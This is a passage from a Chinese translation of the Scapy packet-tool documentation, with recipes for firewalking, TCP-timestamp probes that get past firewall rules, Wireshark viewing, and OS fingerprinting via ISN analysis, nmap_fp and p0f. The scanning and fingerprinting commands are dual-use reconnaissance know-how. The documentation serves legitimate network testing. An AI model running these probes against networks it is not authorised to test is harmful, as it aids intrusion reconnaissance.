此外,Scapy通常确保应答来源于之前发送请求的目的地址。但是我们的DHCP数据包被发送到IP广播地址(255.255.255.255),任何应答数据包都将回复DCHP服务器的IP地址作为其源IP地址(e.g. 192.168.1.1)。由于这些IP地址不匹配,我们必须在发送请求前使用`conf.checkIPaddr = False`来禁用Scapy的check。 1391 | 1392 | ### See also 1393 | 1394 | ![http://en.wikipedia.org/wiki/Rogue_DHCP](http://en.wikipedia.org/wiki/Rogue_DHCP) 1395 | 1396 | ## Firewalking 1397 | 1398 | TTL减一操作过滤后,只有没被过滤的数据包会产生一个ICMP TTL超时 1399 | 1400 | ``` 1401 | >>> ans, unans = sr(IP(dst="172.16.4.27", ttl=16)/TCP(dport=(1,1024))) 1402 | >>> for s,r in ans: 1403 | if r.haslayer(ICMP) and r.payload.type == 11: 1404 | print s.dport 1405 | ``` 1406 | 1407 | 在对多网卡的防火墙查找子网时,只有它自己的网卡IP可以达到这个TTL: 1408 | 1409 | ``` 1410 | >>> ans, unans = sr(IP(dst="172.16.5/24", ttl=15)/TCP()) 1411 | >>> for i in unans: print i.dst 1412 | ``` 1413 | 1414 | ## TCP Timestamp Filtering 1415 | 1416 | ### Problem 1417 | 1418 | 在比较流行的端口扫描器中,一种常见的情况就是没有设置TCP时间戳选项,而许多防火墙都包含一条规则来丢弃这样的TCP数据包。 1419 | 1420 | ### Solution 1421 | 1422 | 为了让Scapy能够到达其他位置,就必须使用其他选项: 1423 | 1424 | ``` 1425 | >>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S",options=[('Timestamp',(0,0))])) 1426 | ``` 1427 | 1428 | ## Viewing packets with Wireshark 1429 | 1430 | ### Problem 1431 | 1432 | 你已经使用Scapy收集或者嗅探了一些数据包,因为Wireshark高级的数据包展示功能,你想使用Wireshark查看这些数据包。 1433 | 1434 | ## Solution 1435 | 1436 | 正好可以使用`wireshark()`函数: 1437 | 1438 | ``` 1439 | >>> packets = Ether()/IP(dst=Net("google.com/30"))/ICMP() # first generate some packets 1440 | >>> wireshark(packets) # show them with Wireshark 1441 | ``` 1442 | 1443 | ### Discussion 1444 | 1445 | `wireshark()`函数可以生成一个临时pcap文件,来包含你的数据包,然后会在后台启动Wireshark,使其在启动时读取该文件。 1446 | 1447 | 请记住Wireshark是处理第二层的数据包(通常被称为“帧”)。所以我们必须为ICMP数据包添加一个Ether()头。如果你直接将IP数据包(第三层)传递给Wireshark,你将会得到一个奇怪的结果。 1448 | 1449 | 你可以通过改变conf.prog.wireshark的配置设置,来告诉Scapy去哪寻找Wireshark可执行文件。 1450 | 1451 | ## OS Fingerprinting 1452 | 1453 | ### ISN 1454 | 1455 | Scapy的可用于分析ISN(初始序列号)递增来发现可能有漏洞的系统。首先我们将在一个循环中发送SYN探头,来收集目标响应: 1456 | 1457 | ``` 1458 | >>> ans,unans=srloop(IP(dst="192.168.1.1")/TCP(dport=80,flags="S")) 1459 | ``` 1460 | 1461 | 一旦我们得到响应之后,我们可以像这样开始分析收集到的数据: 1462 | 1463 | ``` 1464 | >>> temp = 0 1465 | >>> for s,r in ans: 1466 | ... temp = r[TCP].seq - temp 1467 | ... print str(r[TCP].seq) + "\t+" + str(temp) 1468 | ... 1469 | 4278709328 +4275758673 1470 | 4279655607 +3896934 1471 | 4280642461 +4276745527 1472 | 4281648240 +4902713 1473 | 4282645099 +4277742386 1474 | 4283643696 +5901310 1475 | ``` 1476 | 1477 | ### nmap_fp 1478 | 1479 | 在Scapy中支持Nmap指纹识别(是到Nmap v4.20的“第一代”功能)。在Scapy v2中,你首先得加载扩展模块: 1480 | 1481 | ``` 1482 | >>> load_module("nmap") 1483 | ``` 1484 | 1485 | 如果你已经安装了Nmap,你可以让Scapy使用它的主动操作系统指纹数据库。清确保version 1签名数据库位于指定的路径: 1486 | 1487 | ``` 1488 | >>> conf.nmap_base 1489 | ``` 1490 | 1491 | 然后你可以使用`namp_fp()`函数,该函数和Nmap操作系统检测引擎使用同样的探针: 1492 | 1493 | ``` 1494 | >>> nmap_fp("192.168.1.1",oport=443,cport=1) 1495 | Begin emission: 1496 | .****..**Finished to send 8 packets. 1497 | *................................................ 1498 | Received 58 packets, got 7 answers, remaining 1 packets 1499 | (1.0, ['Linux 2.4.0 - 2.5.20', 'Linux 2.4.19 w/grsecurity patch', 1500 | 'Linux 2.4.20 - 2.4.22 w/grsecurity.org patch', 'Linux 2.4.22-ck2 (x86) 1501 | w/grsecurity.org and HZ=1000 patches', 'Linux 2.4.7 - 2.6.11']) 1502 | ``` 1503 | 1504 | ### p0f 1505 | 1506 | 如果你已在操作系统中安装了p0f,你可以直接从Scapy中使用它来猜测操作系统名称和版本。(仅在SYN数据库被使用时)。首先要确保p0f数据库存在于指定的路径: 1507 | 1508 | ``` 1509 | >>> conf.p0f_base 1510 | ``` 1511 | 1512 | 例如,根据一个捕获的数据包猜测操作系统: 1513 | 1514 | ``` 1515 | >>> sniff(prn=prnp0f) 1516 | 192.168.1.100:54716 - Linux 2.6 (newer, 1) (up: 24 hrs) 1517 | -> 74.125.19.104:www (distance 0) 1518 | 1519 | ``` 1520 | 1521 | 1522 | 1523 | 1524 | 1525 | 1526 | 1527 | 1528 | 1529 | --------------------------------------------------------------------------------